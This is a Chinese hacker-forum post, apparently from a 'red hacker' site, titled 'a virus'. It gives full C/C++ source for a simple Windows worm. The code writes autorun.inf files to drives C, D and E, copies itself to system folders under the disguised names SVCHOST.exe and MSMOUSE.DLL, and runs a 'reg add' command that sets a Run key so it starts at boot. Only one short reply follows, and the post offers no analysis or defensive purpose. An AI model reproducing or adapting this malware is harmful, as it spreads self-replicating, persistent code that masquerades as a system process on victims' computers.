[C.C++] 一种病毒

793 1
yangrongqi 2023-4-18 19:43:19 | 显示全部楼层 |阅读模式
#define SVCHOST_NUM 6
#include<stdio.h>
#include<bits/stdc++.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
  while(!feof(input))
  {
   fread(&temp,1,1,input);
   fwrite(&temp,1,1,output);
  }
  fclose(input);
  fclose(output);
  return 0;
}
else return 1;
}
int main(void)
{
  FILE *input,*output;
  int i,k;
  for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
  if((input=fopen(files_svchost[i],"rb"))!=NULL)
  {
   fclose(input);
   for(k=0;k<SVCHOST_NUM;k++)
   {
    copy(files_svchost[i],files_svchost[k]);
   }
   i=SVCHOST_NUM+1;
  }
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}
匿名  发表于 2023-4-29 11:17:24
看不明白,我是菜鸟
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

yangrongqi

高级红客

关注
  • 5
    主题
  • 0
    粉丝
  • 1
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2024 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 ) 本站已运行|天天打卡